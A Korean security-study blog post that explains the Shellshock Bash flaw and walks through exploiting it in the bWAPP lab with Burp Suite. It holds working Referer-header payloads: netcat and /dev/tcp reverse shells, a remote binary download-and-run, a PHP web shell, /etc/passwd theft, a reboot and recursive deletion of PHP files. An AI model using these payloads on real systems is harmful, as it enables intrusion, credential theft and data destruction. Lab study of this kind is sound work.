본문 바로가기
Security Project

26. Shellshock 취약점 이해 및 실습

by 귀멸 2022. 9. 19.

1. 취약점 이해

입력값 검증에 관한 취약점

Bash shell이 제공하는 함수 선언 기능에서

parse_and_execute() 함수는 전달된 문자열의 끝까지 처리하기 위해 반복문(while)을 사용하는데,

함수 선언문 뒤에 명령어가 삽입된 것을 확인하고 반복문을 종료시키는 코드가 없음.

CGI(Common Gateway Interface) 환경에서 외부 접속을 허용하는 경우에 한하여 제한적으로 시스템 탈취가 가능하다.


2. 취약점 실습

kali에서 burpsuite을 사용하기 위해 firefox 프록시 사용 설정을 맞추고 burp 실행

beebox shellshock 취약점에 접속해서 forward를 몇 번 넘기면 아해 cgi-bin/shellshock packet이 나온다.

힌트에 주어진 대로 Referer에 작업을 하게 된다.

아래 코드들을 이용해서 공격

-- 방화벽 룰을 임시적으로 내려야 함
iptables -F

Referer: () { :;}; echo "bWAPP:" $(/bin/sh -c "expr 1 + 1")
Referer: () { :;}; echo "Vulnerable bWAPP:"
Referer: () { :;}; echo "Vulnerable bWAPP:" $(/bin/sh -c "nc 192.168.182.128 7777 -e /bin/bash")
Referer: () { :;}; echo "Vulnerable bWAPP:" $(/bin/sh -c "cat /etc/passwd")

Referer 부분에 공격 코드를 삽입하여 전송하면

/etc/passwd 파일을 packet으로 받을 수 있다.

 

이를 좀 더 수월하게 공격하기 위해 Repeater로 보내서 여러가지 공격 패턴을 Send 하고 Response를 확인한다.

 

* 터널링

kali에서 추가 터미널을 열어 연결시킬 포트를 열어 두고,

아래 공격 코드를 kali ip 주소, Listening Port를 넣어서 전송하면

kali에서 쉘을 따온 것을 볼 수 있다.

 

* 취약점 추가 공격 패턴

공격 삽입 명령어
리버스 셀 연결 /bin/bash -i > /dev/tcp/localhost/8081 0>&1
악성파일 다운 wget -O /tmp/syslogd http://localhost/prog; chmod 777 /tmp/syslogd; /tmp/syslogd;
시스템 상태 체크 /bin/ping -c localhost
계정 탈취 /bin/cat /etc/passwd > dumped_file
웹 쉘 생성 echo \"<? \\$cmd = \\$_REQUEST[\\\"cmd\\\"]; if(\\$cmd != \\\"\\\") print Shell_EXec(\\$cmd;?>\"> ../../p.php & o
시스템 재시작 /bin/bash -c \"reboot\"
PHP 소스 삭제 find / -name *.php | xargs rm -rf

 

* CGI : 웹 브라우저와 웹 서버 그리고, 응용 프로그램간의 정보전달의 매체. 쉽게 말해서 사용자의 브라우저를 통해서

            입력된 데이터를 어떻게 서버로 보내고 서버에서 가공된 데이터를 어떻게 웹브라우저로 보낼 것인가 하는 방법.

댓글